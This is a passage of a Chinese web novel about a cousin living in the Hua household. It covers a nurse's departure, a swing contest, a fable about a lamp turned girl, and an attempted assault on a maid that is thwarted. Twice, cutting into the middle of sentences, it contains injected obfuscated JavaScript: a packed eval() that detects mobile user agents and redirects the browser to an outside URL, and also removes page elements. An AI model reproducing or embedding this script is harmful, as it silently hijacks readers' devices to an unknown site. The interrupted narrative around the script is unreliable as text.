尤其是共事的孙嬷嬷不肯消停，时时就要给邬嬷嬷软硬钉子碰。邬嬷嬷本也无心呆在花家，况且她又是个认真、再如何不肯抹稀泥的人，便决定尽早离开。 银荷着了慌：“嬷嬷也要丢下我？” “我留在这儿也帮不到你，还是想回矴州去。也算见识过了，别处多好，我心里还是毛毛扎扎怪不舒坦。”邬嬷嬷道。 银荷哪里肯听，“那嬷嬷带着我一起，我也想回去，我也不舒坦。” “你可不一样。”邬嬷嬷笑着劝她，“你还是在这儿热热闹闹好，咱们不是早就说妥当了？” “要是遇到事情，我该向谁去说呢。”银荷哭起来。 邬嬷嬷安慰道：“你别怕，既来了，就当他们都是你的家人。我看出来了，他们家上下都明事理，重亲情，老太太更是喜爱你，要不然我也不能放心。” 银荷苦苦哀求，邬嬷嬷只不肯更改决定。银荷急了便说：“要是姑娘在，嬷嬷也会丢下她吗？” 邬嬷嬷没回答，却说：“如今你和姑娘还有什么两样。姑娘从落地我就眼看她长大，你虽差几年，多少算是我从小看着长的。姑娘没了，咱们再伤心也没用，至少你能好好的，我也得些安慰。现在你一天天看见我，总是想起从前，但为着你自个儿好，还是多想想今后——这也是姑娘的愿望，别辜负了她。” “你放心，我在矴州熟人多，肯定有着落，这一去只有好。我还等着你的好消息。” 到了临别这天，银荷打发走其他人，独自送邬嬷嬷到门口。 “姑娘多保重。”邬嬷嬷最后嘱咐一句，心中暗自叹息。她离去后，银荷在原地伫立一会儿，慢吞吞转过身。 花沛正要出门，看见银荷，心欢喜地跳了一下，随即便重重地跌入深谷。 略微顿了一下，他快步走上来。 银荷也看见了他，无精打采上前打招呼：“大表哥。我送送邬嬷嬷。” “她去哪里？”花沛木然问道。 “她回家去。” “怎么？”花沛这才醒过神，“为何要走，去多久？” “不会再来了。”银荷悒悒摇头。 “那怎么行，怎么能丢——是不是有事情，还是在这儿受了气？——我去叫她回来，再好好劝劝她。” “不是。她在京城待不惯，想要回乡。”银荷说。 她语气里有些东西，令花沛顾不得掩饰，他急忙问道：“那表妹呢，习惯吗？” 银荷勉强笑笑：“我很好。” 花沛明白，那意思是：“我孤苦无依，还能去哪里。”他却无法安慰她。而且，他是不是已经将自己还不明了的情绪暴露得太多了？花沛点点头，仓促离开。 过后，花沛还是向瑷宁问起此事。瑷宁说：“她要回家去，我当然没法拦着。老太太也给了不少赏。” “刚来时就说了要走的话么，不是还给她安了差？” 瑷宁便说：“说起来可能有些相干。怪我没想到，当时让她负责给丫环们置办东西，说不好就为这个让人挤兑了。” “那不是孙嬷嬷的事？”花沛皱起眉头。 “正是。常有丫环抱怨买的东西不好，可不是她多吃了扣头。近来越发变本加厉了，上回连老太太那边小丫头都叫唤起来，要让老太太听见更不好，我就要邬嬷嬷去帮着她，也是个监管的意思。” “这些以前你怎么不说？”花沛沉下脸来。 “你都发了话，谁还能说什么。别人的差事都是轮着来，你说她孤儿寡母不容易，既做熟了就一直做着。哪知道她竟能排挤人，偏把邬嬷嬷挤走。看她蛮老实，在这些事上可不含糊，钱串子脑袋，见窟窿就钻。按说月银足够她使了，就一个儿子大了也不用她养，更别说先前跟过母亲，不该这么心窄见短。”瑷宁说了一串话，又沉思道，“我看她就是嫁人没嫁好，经了那一场，也是穷怕了被欺负怕了，倒也可怜。” 花沛说：“别用她了，也不必说什么，月钱照给，不让她沾事就行。” 瑷宁点点头：“也算顾她颜面了。这一来大家都能明白，一是警示别人，别打瞎主意，二也为公平，省得人说我们有偏有向。我原也是这个打算，还没提，怕你不答应。” “我有什么不答应，你尽管办。——不过为这些事，实在是让你受了不少累。” “不比大爷为国为民，在外头辛苦。”瑷宁笑道。 停停花沛又说：“表妹那里你也关照些，她一个人，有些事情老太太又想不到。” “还用你说，我想着呢。表妹和其他人不一样，我一见她就喜欢。” 花沛想再找些话来说，终于没找出来。 . 大暑小暑，上蒸下煮。过了小暑，溽热难当，除了清晨和傍晚，白日里谁也懒得走动。 银荷虽然喜欢夏天，可那时是有由心，而邬嬷嬷一走，好像系住过往的线又断了一根。她只能偶尔打起精神和丫环们说笑几句，其余时候不管干什么都总是闷闷的。 这日下午，终于来了几丝风，日头偏西时，银荷百无聊赖坐在池塘边柳树下，将点心掰成小块引鱼儿啜食。小朝走来说：“三姑娘她们在那儿打秋千呢，姑娘要不要去玩。” “秋千有什么好玩。刚刚洗了澡，又要出汗。” “这会儿不那么热了，好像在比赛呢，姑娘去看看吧。” 银荷便起身抖抖衣裳，和小朝一同去了。 待到跟前一看，秋千架下果然围着人，却不见花瑶。一个小丫环看她过来，笑着说：“三姑娘刚回去了，表姑娘要玩吗？再没人来就是蝉影赢了呢。”银荷抬头，蝉影和二太太房里的一个小丫头踩在两只秋千上，一上一下荡得正欢。 蝉影喊着：“还能再高些吗？”那个小丫头高叫：“不行了，我头都晕了。”旁边有人喊：“不行了就下来，换我。” 银荷看着有趣，她平日里打从这秋千架下过了不知多少次，也没想起来去碰它，现在看她们荡得高，倒是起了玩心：“我来试试。” 那小丫环让出秋千，银荷抓了绳子，脚尖在地上一蹬，轻轻巧巧立了上去，对周围人说：“你们都站远些，且瞧我的。” 她身体灵活有力，不用人推送，没几下就荡得老高，与蝉影平齐了，还扭头对蝉影喊：“咱们再高些。” 秋千架有一丈多高，下面的人瞧得胆战心惊，又叫又笑。 这些声音在银荷听来非常遥远，她感觉风从耳旁、发间吹过，所有的闷热不爽都一扫而空，自己正向天空飞去，仿佛马上就能飞进云里，可惜一瞬间就又落了下来，于是便卯足了劲，下一次还要再高一些。 旁边又传来蝉影的笑喊：“我要抓不住了。” 银荷穿件月白衫，系樱草色裙子，蝉影身着银红衫配竹青裙，两人裙袂飘舞，如同两只彩燕上下翻飞。 不一会儿，银荷已经荡到无法再高了，除了头顶天空，其余东西都变成模糊一片。 她又喊：“蝉影，你在哪里，是不是我赢了。” 蝉影还未答，一旁有个男声说：“你赢了。” 银荷一惊，扭头去看，勉强瞧见花沛负手立在一旁，周围鸦雀无声。她心中暗暗叫糟，一失神便在秋千上晃了一下，花沛忙喊：“表妹留神，停稳了再说话。” 秋千要停下却不太容易，小丫环们见花沛过来，都垂首站在旁边，一动不敢动。待秋千低了一些，花沛上前一把抓住绳子。秋千还在打着转，银荷拼命稳住身子，见花沛已伸出手来，只好扶着他胳膊跳下地。 她赶紧松手站好，微微喘气说：“大表哥出来转转，嫂子也来了吗？” 花沛笑着说：“没有，我一人随便走走。你找她有事？回去我告诉她。” “我没事。”银荷忙摇头，也不知该说些什么。 花沛便解释：“我听你们玩得热闹，就过来看看。” 这时候，蝉影也站了过来，花沛见她们都不敢说话，又笑了说：“倒叫我打扰了。你们继续玩你们的，只是千万要小心些。” 看他走远，几个小丫环抚着胸脯：“还好今天大爷心情好，刚才可把人吓坏了。” 银荷也知花沛沉稳持重，在弟妹们心中算是半个家长，偏总是自己不够得体时被他瞧见，心中不免有些忐忑，笑道：“怕什么，总不至于为这个说我们。” 一人说：“表姑娘不知道，大爷最不喜我们嘻嘻哈哈大喊大闹了，嫌没个样子，影响了姑娘。幸亏三姑娘回去得早，要被大爷看见，就算不说重话，三姑娘也要难受半晚上。” “你知道什么？”蝉影朝她头上一点，“大 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“我倒是想来，可惜没工夫。不过我是专为给你找个伙伴来。”瑷宁拽拽花瑶，“瑶儿，你多来陪陪你表姐，我看你们两个没准能玩到一起。” 花瑶便看着银荷，羞涩一笑。 “太好了。”银荷去拉花瑶的手。她和府里几位姑娘平日虽姐妹互称，见面也亲热，私下里却来往不多，还没有和丫环们相熟。再说花瑶本身还又是腼腆内敛的性子，宁可一人闷着也不主动去找人说话。 银荷喜欢花瑶恬静娇秀的面容，特别是她那双分得稍开、孩童般纯真的眼睛。她赶忙介绍日常喜欢的事情，又把自己的书画之作拿来请花瑶看。 花瑶还差两个月才满十六，年纪虽小，也是细高挑个子，和银荷站在一起，那个青葱劲儿，就像两根才抽出嫩芽的枝条。 瑷宁心道：这两个人倒真是一对亲亲姊妹。 其实若论外表，花瑶和她的姨表姐戚晚当然更像，可是瑷宁不这样看。戚晚和花家姑娘绝不能相提并论，差多着呢。一想到戚晚，瑷宁不由皱眉，赶紧说：“你们想玩什么要什么都来找我，别争抢，天气热，拌嘴就不美了。” 坐了一会儿，瑷宁又说：“今日既然出了门，就多转转，走，我知道有个地方准凉快。” 三人一路走在树荫下，绕到园子东南角，出来便是花潜和映雪独住的小院，一进正房，果然即刻就感到丝丝凉气飘来。映雪正和花瑛头碰头看一本书，见到几人，忙站起，顺手把书塞到一边。“快坐下，这么热的天，你们都跑来，真是让我不过意。” “不是来看你，我们是蹭蹭凉气。”瑷宁走近冰鉴，手扇着风，“不过也是刚好，咱们人倒齐全。” 映雪笑笑：“不算真齐全，诗钰妹妹被母亲叫走了，晚妹妹不知在干什么，该去请了来。” 瑷宁摆摆手：“咱们正好，再多人这屋子也不凉快了。”她打开冰鉴，看看里面方方正正堆着的冰块，又问，“这是刚送来的吧。” 映雪点头：“一日送三回，这是第二盆。” 瑷宁就向她说：“你不知道，原先三弟在家时，夏天人人屋里都有冰。今年三弟不在，两位老爷发话，说能热到哪里去，骄奢之气不可长，让把各处的冰都裁了，只给老太太屋里送。老太太又不要，嫌凉气扎人。你们二爷专门让人找我，说偷偷给你送来，钱他来出。我说，钱能有几个，谁还不心疼弟妹了？” “看看，一家人里面就你特殊，让人怎么能平衡。”瑷宁酸道。 丫环婳儿进来上茶水，听见了笑着说：“大奶奶不知道，我们姑娘在家里的时候也这样，独独只有姑娘屋里有冰。姑爷听见了，不肯让姑娘受委屈，所以才有这话。” “爱多嘴！”映雪瞪婳儿，又不好意思地解释，“我就是特别不耐热，一到夏天身上哪哪儿都不爽快。” 瑷宁抚掌：“该，谁让你名字里有个雪，可不是怕化嘛。” 大家说笑着，瑷宁便翻出之前映雪放到一旁的书来：“蝶梦缘，好哇，做嫂子的，竟然带小姑看这种书。” 映雪劈手抢过来，气道：“本来没事，这一嚷嚷，妹妹们不是全知道了。” 花瑛赶快说：“这还是哥哥给我们找的，哥哥说映雪姐喜欢的肯定不错，所以也许我看。” 银荷拿过书来翻了一翻：“这个我好像也看过，我挺喜欢的。” “由妹妹看这个？”瑷宁意外道，“还喜欢？” 9. 灯儿 “之前看过不少。”银荷老实回答。别看京城的时兴玩意在矴州难以见到，但由心爱读书，曲展总能费心搜罗来各样书籍。当然由心格调高雅，更喜爱真正隽永的诗词文章，其余不过看着玩，而银荷专挑各种话本子看，倒也没人管。 映雪笑道：“瑶妹妹想不想看，我给你也挑一本。咱们都看了，看大嫂告诉谁去。” 花瑶确实一脸羡慕，又有些犹豫，瑷宁见了便说：“没事，想看就看，我还能真告诉老爷太太？”停了一下她又补充，“也不会告诉你大哥。其实我原先也爱看，慢慢就觉得没意思了，翻过来覆过去那么几套，才子佳人，痴男怨女，不就那些事儿。就这一世还不够，生生世世都要凑一块，腻歪死了。” 映雪说：“天下事不就是这么些？说起来差不多，我可是看不腻。由妹妹觉得呢。” “我也还没看腻，不过好些看过就忘了，所以下次看还是个新故事。好多年前我倒是看过一个真正好的，可惜看完一遍书就不见了，但是内容我记得很清楚，是我最喜欢的故事。”银荷认真说道。 “哪一个，不知我看过没有。”映雪急切地问。 “书名我却忘了，故事里有一盏灯变成了人。” “这个没见过，听着很有意思，给我们讲讲吧。”映雪请求道。花瑛和花瑶也都感兴趣地望着银荷，倒让她有些难为情。 “最后肯定还是老一套。”瑷宁不屑地说，“不信你讲来看，反正也没事做，咱们就听听。” 银荷便不再推脱：“故事源自一座庙——在某年某月某地某方，有一所小庙，庙里不知供着哪位菩萨，菩萨前供着盏莲花形的灯。 “灯儿长明不晦，不知过了多少年月，终于修得一点儿灵性。菩萨看它兢兢业业，允它一个愿望。灯儿想，我每日见东西人，听南北事，知道人世间有喜怒哀乐，做人比做灯有趣许多，便说：‘愿为人。’ “‘人身难得，岂能轻许？’菩萨摇头。禁不住灯儿再三恳求，最终还是答允：‘你这样一盏小灯，百斤灯油可够一年。若三日内能得百斤灯油，便让你幻化人形，试试做人滋味。’ “灯儿遂耐心等候。到了三日将尽时，才先后来了两位妈妈。头一位说家里公子赴京赶考，求他能考取功名，娶上一个温柔美丽、知书识礼的好姑娘，磕完头舍了五十斤香油。第二位愿她家小姐能病愈康复，嫁得一位才气过人、谈吐温雅的好郎君，也舍了五十斤香油。” “这不是才子佳人又冒出来了。”瑷宁插道，“你们看我说得准不准，——我也不用听，管保是这两人后来成了一对儿。” 映雪笑恼着拍她：“别妨碍讲故事，你不听我们还要听。” 银荷说：“大嫂说得很对，后来那位小姐和公子生活美满，所以我最喜欢这个故事。” 她接着讲：“两位妈妈离开后，灯儿变成了一位姑娘。” “倒有趣。”花瑛插问，“菩萨知道灯儿想变姑娘？” 瑷宁说：“菩萨也是因材施用，不是伶伶俐俐一盏小灯么，盈盈一握。要是那肚里能盛油的，只好变作个膀大腰圆的莽夫。” 众人脑中想想那番光景，笑个不住。银荷说：“其实是这个缘故：万物修行成人时，往往都变了男人，自以为高一等、好得便宜，男人的名额就被占满了。这正中灯儿之意，它不愿和那些浊物搅和，一心只觉着做女孩才再好不过。” 映雪笑道：“果真还是灯儿修得明白。由妹妹快往下讲。” “灯姑娘跳下案来奔走几步，见自己周身灵便、行动自如，不胜欢喜。她知道菩萨只许了一年，心想我绝不肯再做回灯，又求告：‘菩萨慈悲，赐我一个真正人身。生老病死、爱恨离别，我愿尝尽人世百味。’ 菩萨嗔道：‘你这表面光亮芯子糊涂的瞎灯，成人尚才一刹，不知足一项已学了个十足。我若不应，还当我是懒怠去打点那些阴司阳府；我应了你，你以为人间也好行走无碍？待撞上南墙时，休回来怪我。’ 灯姑娘万千保证了，菩萨方说：‘现下正有这一桩因缘：事情因那两家而起，你便去助他们，一年为限。一年内，若他们各自得偿所愿，你便可永世为人。’ 灯姑娘喜不自胜，满口答应。菩萨叹道：‘不知天高地厚。以后诸般都靠你自己，再不能求我一事。——若你中途反悔，或一年期满时事情未成，你仍旧作灯，而且只能作摆设用的死灯。’ 灯姑娘仍然答应了，为了报答两家人的灯油，也为了永得人身。 因为庙建在山上，不很便当，从没有书生来庙里借光的，灯姑娘对读书考试还一窍不通，她想了一想，自名彩莲，便去那小姐家做了丫环。 小姐待她很好，两人就像姐妹一般。可过了半年，小姐的病却越来越重。彩莲亲眼见到来了好多名医，都无能为力，不禁暗自发愁。终于有位高人说最深的山林中生了一种药材，可医此病。小姐的家人便许诺，谁能取回草药，就将小姐嫁于他。小姐生得很美，有不少人跃跃欲试，但不待走进山林深处，就叫野兽吓得半路折返。 彩莲心想：这才是我倾力相报之时，不如我去山中走一遭。若幸运得了药，救回小姐，自然最好；若不幸被猛兽所食，我原不过是一盏灯，这段日子吃过喝过，行过看过，也不亏了。 于是彩莲进了山。可能因她原身是灯，野兽怕火，都纷纷避让。七七四十九天后，她终于找到了草药。 回去时，她太高兴，一不留神跌落山崖，所幸被一个猎户救起。彩莲腿受了伤，不能行走，便托猎户先去送药。猎户不放心彩莲，又将此事交给与他在一起生活的兄弟。 救了彩莲的猎户诚实英勇，他的弟弟却怯懦卑鄙。小姐向他问起彩莲，他谎称没有见过，说药是自己找到的，要求小姐嫁给他。 小姐已有意中人，不愿嫁他，他就言语逼迫，指责小姐不守诺言。小姐瞧出此人心术不正，疑心他害了彩莲，便去衙门告状。 没想到那官员也不是好人，见小姐貌美，起了歹心，抓住猎户弟弟打了一顿，拷问出彩莲的事。他骗小姐说，兄弟两个都是无恶不作的山匪，彩莲被哥哥抓住藏在深山之中，要是小姐答应嫁给他，他就去救回彩莲。 小姐只好答应，但一定要亲眼看见彩莲平安无事才行。官员让弟弟带路，派手下领了很多人进山去。 这段日子彩莲的腿伤也养好了，准备出山找小姐。她和猎户约定，等小姐嫁人后，她再回来，与那猎户成亲。 就在这时，官府的人寻到他们，二话不说就去抓彩莲。猎户上前与他们搏斗，混乱中，包括弟弟在内的很多人都死了，猎户也受了伤。 彩莲对为首的人说：‘快停下，别再伤人，我可以带你们出去。要是惹恼了我，大不了一起死在这里。你们不识得路，迟早被饿虎吃掉。’ 那人见彩莲肯和他走，回去可以交差，又怕真被困在山中，就依了她的话。彩莲带着几个人专往野兽出没的地方去，让他们全部葬身虎口。 脱身后，彩莲想猎户的伤不算太重，还是先去看看小姐，再尽快赶回来。哪知她刚走出山林，就被埋伏一旁的官员抓住。官员称彩莲害了多人性命，将她下在大牢中，以此威胁小姐嫁他。 彩莲万分着急，趁小姐去探她时，将自己的来历和盘托出。她对小姐说：‘你一定不能嫁这个坏蛋，不然我一样活不了。你快跑吧，为你自己好也就是为我。’ 小姐说：‘原来如此，你说的那位书生就是我想嫁的人。你等着，我为你也为自己，我们的愿望一定都能成真。’ 小姐回去就对官员说答应成亲，但要等一段日子。官员说：‘给你三个月，三个月后彩莲或杀或放，全在于你。’ 当夜，小姐收拾几样东西，偷偷离家，独自上京去找书生。彩莲在牢房又捱了几日，有天晚上，她被人劫狱救出。救她的人即是那个猎户。猎户说：‘我弟弟没了，就只剩你一个亲人，和我回山里去吧，没人能找到我们。’ 彩莲虽然感动，却不得不说：‘我还得等小姐回来。’ 猎户生了气：‘我不顾一切来找你，你却只念着小姐。’ 彩莲也赌气道：‘我又没求你救我，都是你自愿的，不过也是仗势来要挟人。’ 两人不欢而散。彩莲追上小姐，一同上京。猎户仍是担心，一路跟在后面暗中保护。 再说那个书生，竟真的考取了状元。皇帝见他人才好，想留他做驸马，但他一心念着小姐，谢绝了皇帝美意，执意要回乡。 一路上经历了各种波折，最终，书生、小姐和彩莲在一间破庙里相逢了。 小姐看到书生很高兴，虽然害羞，还是直言说要与他成亲。 书生既喜悦又惊讶，既感激又惶恐，感激小姐的一片深情，又生怕她受了委屈，劝说她回家行过六礼，事关终身，不可仓促。 小姐笑道：‘我信你真意，又何需虚礼。’书生仍是犹豫，担心小姐来日后悔，小姐无奈，只好告诉他实情：回乡已赶不及了，距一年之期仅余数日，届时彩莲就会变回灯盏。 躲在一旁听到对话的猎户再也忍耐不住，跳出来质问彩莲：‘我还以为有了心爱的人，谁知你一直是骗我。你只是一盏灯，纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们并没忘。小姐一直记着彩莲。她要好好活着，因为那也是彩莲的心愿。” 映雪想了想，眼里又蕴了泪：“那位小姐也很坚强，要是我可能做不到，一定很难。” “确实很难……” “所以我从来不敢看这种故事，恐怕又要难受好多天。”映雪叹息。 “由心表姐看得久了，说不定忘记了后面，可能还有下一世，彩莲会获得幸福。”花瑛说。 映雪不禁微笑：“一定是这样。但这又成了大嫂腻歪的生生世世。” “可不，”瑷宁也笑，“再来一辈子还会有新的麻烦。菩萨明白，做人不容易。天底下的好都被你一人占了，哪有那么简单的事。赶明儿什么桌子板凳、瓶瓶罐罐都想变人，还挤不下了呢。” 大家便都笑起来。 映雪又说：“彩莲也有一样不是，怎么和猎户都要成亲了，却没告诉他自己的身世，菩萨又不曾禁止。” “她怕说了猎户不理他，而且她原是想真正得了人身后再说出来。”银荷解释道。 “那就是猎户的不是了，”映雪摇头，“看他根本不是无情无义的人，怎么没让彩莲信任他，两个人想办法总比一人强。” “他不爱说话。” “闷葫芦可不好。”映雪叹道，“我一心觉得要一个既有真心，又能说会道的人，灯姑娘才会钟意。” “灯姑娘喜欢勇敢的人。”银荷低声说。 “勇敢当然勇敢，但也还一定要样貌好，若是个丑八怪，你看灯儿照他一眼不。”瑷宁插嘴。 银荷说不出两人为何钟意对方，只记得当时读到相关情节，自己也跟着脸红心跳，只是那些字句当然不能当着大家讲出来。 瑷宁又说：“反正你们小姑娘就是容易被这种故事骗。仔细想想，除了彩莲她们这几个，怎么就再没好人了？官员并不个个都是欺压百姓的坏蛋；皇帝也是父亲，驸马爷岂能硬拉一个回去？——这都是写书人乱编的，公主又不愁嫁，除非女儿多得没办法，皇帝才不会上赶着要便宜哪个识字的，任凭他是状元还是什么。” “灯儿也永远不会真变成人。”银荷笑道，“不过是个故事，大嫂也要挑理。” “好，我不挑。你们喜欢就尽管看去，等回过头来发现不是那么回事，可别哭鼻子。” “只是当个消遣，咱家的姑娘又不是不辨好坏，吓唬她们做什么。”映雪怪瑷宁，又拉了花瑶，“来，我给你找两本。” 10. 骑马 这天，小丫环送过来清洗好的衣服多了两件，银荷认不出是谁的，怕害那丫头被罚，便包了衣服，要小朝悄悄送回浆洗房。 小朝走后，织雨又取出一条裙子：“瞧我这脑袋，还以为这是我的。一低头，我的正在身上穿着呢。” 银荷拿过来：“骑驴找驴，常有的事。我追小朝去。”不等织雨拦她，只管走了。 等她到浆洗房，只一位嬷嬷在，见她来，很是吃惊。银荷解释清楚，嬷嬷说：“劳累姑娘了。咱们这里通着外面，人口杂，我送姑娘回去。” 银荷哪肯要她送，忙跑出来。走了一段，却听到一声呼喊。 声音好像在远处，不甚分明，停下屏息再听，又不闻动静了。从那一声听出是个女子，银荷疑心有人呼救，赶紧四下寻找。 旁边是个闭着的小院，银荷绕到院后，有间小柴房，也关着门，门里传出些像是拳脚声的闷响。 她用力拍门：“谁在里头，快开门，我喊人来了。” 须臾，门猛地拉开，一个衣衫不整的小子慌张冲出来，看都没看银荷一眼，将她往旁边使劲一搡，翻过墙头跑了。 银荷被一推倒地，爬起来顾不得别的，赶进屋去看。 是蝉影在里面，坐在地上，大口喘气。 “哎呀，伤到没有？”银荷忙去扶她。 蝉影摇摇头：“差点儿被他捂死，不过我也狠狠给了他几脚，没叫他占了便宜去。” “是谁，可惜让他跑了。”银荷气愤地说。 蝉影呸了一声：“王兆喜——他舍得跑？下次再敢让我瞧见，非啐他一脸。” 银荷帮着她把身上尘土拍干净。蝉影脖子上被划出两道红印，衣裳也给撕破了，不过略微整理下，倒不大明显。 “好了，走吧。”蝉影说，“请表姑娘别告诉人，我怕姑娘听见，污了她耳朵。” “放心，我不会说给人。”银荷也知道讲出去不好听，只是自由心之后，她便对这类事咽不下去。“那个王什么，就这么放过他？” “他是跟着大爷的，他娘是……”蝉影犹豫着说，“算了，以后我躲他远些，谅他不敢闯进园子里去。” “他既是跟着大爷，咱们悄悄告诉大奶奶去。”银荷愤慨道。 “那不还得让……让人知道了，怪没意思的。” “不要紧，我去说，他不怕丑，咱们怕丑么？大奶奶肯定能帮我们，又不让人知道，又治得了那个人。这种坏蛋，能收拾一个是一个，省得再害人。” 蝉影想想，点头答应：“表姑娘说得对，反正仇已经结上了——不然还以为我怕了他。” 瑷宁面前，银荷只说去洗衣房，见个小子拉着蝉影，上去询问，被推得跌了一跤。瑷宁倒猜了个七八，追问几句，蝉影一委屈，哭出来说：“那王兆喜两次三番逼我嫁他，我不肯，他便去威胁我爹娘。我没办法，才答应会他，为和他说个清楚，没想到他竟然……今日要不是表姑娘去得及时，我已经没了命。我死不要紧，只是脏在王兆喜手上，死也不甘心。若一定要我嫁他，我只求能干干净净去和姑娘见一面，然后一刀抹死在王兆喜跟前，再叫他如愿。” 她边说边流泪，如滚珠一般。银荷听着，眼圈也憋红了。 瑷宁气怔：“我竟不知家里还有这等狗胆包天的。”她安慰蝉影，“你放心，没人要你嫁他。大爷和我提过，除非三妹妹肯放，你自己也愿意，别人谁说话都没用。至于王兆喜，定不会饶他。快别死呀活呀流眼泪的，看回去吓到你们姑娘。” 蝉影这才止泪，瑷宁让人端了水来，蝉影便去一旁打手巾揩脸。 瑷宁又拉银荷说：“你这可就忒孟浪了，跟前又没人，就上去硬碰，万一遇到个亡命狂徒，不是白伤了你？看来园子门白天也得让人时时看着，省得你们乱跑。这要是让老太太知道，肯定不许你再出门。” “大嫂不会告诉老太太吧。”银荷央求。 瑷宁自然不会。“这回就算了，为了蝉影想——可有人会在背后嚼舌头呢，姑娘家就是这上头吃亏。” 银荷和蝉影离开时，正遇花沛回来，停下施了个礼。 花沛进屋就问瑷宁：“表姑娘怎么了，有什么事？” “还不是那个王兆喜惹出来的。”瑷宁没好气道。 花沛皱了眉：“蝉影不愿嫁他就算了，又没人逼她，怎么还找曲姑娘做说客？” 瑷宁冷笑：“王兆喜可不是这么想。他今儿在厨房小门那边拉住蝉影用强，幸好表妹有事过去看见了，不然让他得了手，可不是害蝉影一辈子？传出去，连瑶儿都……那王兆喜狗急跳墙，倒把表妹推了一跤，得亏没伤着，表妹也不愿说，要不老太太听见还得了——问起来头一句就是你跟前的人，可给你脸上添光了。这次要开脱了王兆喜，迟早还是个祸端，你看把他怎么办吧。” 花沛早已气得脸色铁青：“怎么办？把那个没王法的东西只管打死就是。”说着他大声喊人传话，要去拿王兆喜来。 瑷宁急忙拦住：“赶出去就行了，或者送官，自有王法治他。本来该一顿好打，可现今他又不算家里的，真打出个好歹，怎么交代？” “你不用管，我有办法交代。”花沛只不肯听。 “看在他娘的份上——就他一个了，总得给她留个依靠。” 不提这个还好，花沛一想起孙嬷嬷撵走了邬嬷嬷，真是火上浇油。“不怕，她养出的好儿子，要是舍不下，就跟着一起去。从今后谁再犯事，这就是样子。以前都是教训得太少，才让这帮人一个个作起威福来了。” 那王兆喜不知好日子即将到头，仍大摇大摆回了家。他虽是措手不及逃了，但对自己所为丝毫不惧，只恨那突然冒出来的丫环打断了好事——他当银荷是个丫环，料定二人正经不敢怎样。 不过到底给他摸到两把，王兆喜洋洋得意，不免心中更痒，正躺在床上想入非非，琢磨着下回该怎么逼蝉影就范，突然冲进一伙人，二话不说扭了他，堵上嘴，拖进个院子就放倒打将起来。 一群半大小子，干这种拿人揍人的事情分外有劲。平素谁也看不惯王兆喜，又是得了大爷的令，一点儿不手软，板子只管挥下去，打了个臭死。 本来花沛真就要打死了他，还是亏瑷宁赖好劝住了。连夜孙嬷嬷同着奄奄一息的儿子就被撵出了花府。 花沛没说事由，众人不免纳闷猜测。不过兆喜母子在院子里不得人心，去留大家都不在意，没两天就懒得再提，事情便这么过去了。 只有蝉影娘知道些首尾，却喜忧参半：喜的是儿子长乐领了兆喜的差事，且不论日后的出息，现下每月便能多得二两银子。忧的是女儿的前途荣辱未定，或许还牵连着全家人。不过蝉影再次探望父母时，蝉影娘将自己的隐虑藏得严严实实，绝口不提此事，因此蝉影是兴高采烈地回家，又是同样兴高采烈地回到花瑶身边。 . 一日，老太太叫来花沛说：“打算让由儿和你两个妹妹去骑马。” “那不行，摔了怎么办？”花沛脱口而出。 “自然要小心些，还能让她们跌了跤？”老太太怪道，“你怎么竟比你父亲还古板起来了？都说骑骑马，在外头跑跑，冬天不会生病。满家里人全赞同，只你说不行。” “妹妹想骑马？”花沛问。 “姑娘也该有些玩乐。我不知道这些，你做大哥的也不操心。我一直想着，不知什么能让由丫头高兴高兴，你表妹啊——”老太太叹道，“平时不露出来，那是她教养好，心里的苦处、难过都藏着。有几个人能做到，何况她还是小姑娘，才更让人心疼。” “是。之前我没想到。”花沛说，“骑马很好。只要挑几匹温顺的马，让人在旁边看着，就没事。” “可不，就是和你说这个。你大伯、父亲、还有潜儿都说没事，只不过，开头还是咱们自家人在跟前妥帖。潜儿最近寻不出空，要不你看看能不能带她们去，要不就再等段时候。” “我有空闲。”花沛立刻说，“不必再等了，现在正合适，刚好入了秋也凉爽。” “好。”老太太满意地说，“那就过几日，等衣裳做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892548|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。这事还是你办放心，大哥的话她们能听。别让几个妹妹淘气。” 从老太太屋里出来，花沛步履轻快。他终于明白，为何想起表妹总是异样。她当然是一个惹人怜惜的姑娘，而且现在差不多就和亲妹妹一样，可自己从来没有为她做过什么。确实该做，本不用等到老太太吩咐，他是大哥。 他压根没有去想，更不会相信，喜悦的心情可能是源自一个憧憬：沐着初秋的清风，他可以将表妹扶上马去。 回去见了瑷宁，花沛才晓得，骑马一事竟是花涛的提议。 如此说来，花涛和表妹常常见面，表妹对他说了不少话。花沛听了，心里闷闷的。 瑷宁只当是别的缘故，笑道：“是不是看老太太疼表妹太过了，你这个大孙子心里不服？我也不服呢，谁叫咱做媳妇的，不敢开口。 “你不知道，表妹当真贪玩，她在园子里和五弟六弟拿刀剑比划，凑巧，四弟看见了。表妹倒想学剑呢，只是没有教剑的女师父，原说让四弟闲时教教几个妹妹，表妹不大肯。不知怎的，说起骑马来，谁知老太太一口就应了。” 花沛便又高兴起来：“大孙子不服，一样不敢开口。再说不就是骑个马？哪怕家里房子拆了，辟出马场子，也轮不到我不答应。” “呦，平日你还嫌瑶儿不稳当，现在倒纵起她们上房揭瓦了。”瑷宁笑他。 花沛有些不自在：“瑶儿身子弱，该强强筋骨。——另两位表姑娘怎的不去？” “看她们也娇娇弱弱的是吧，那你跟老太太提啊。” “我提什么，我哪里顾得过来，三个妹妹就够操心了。” 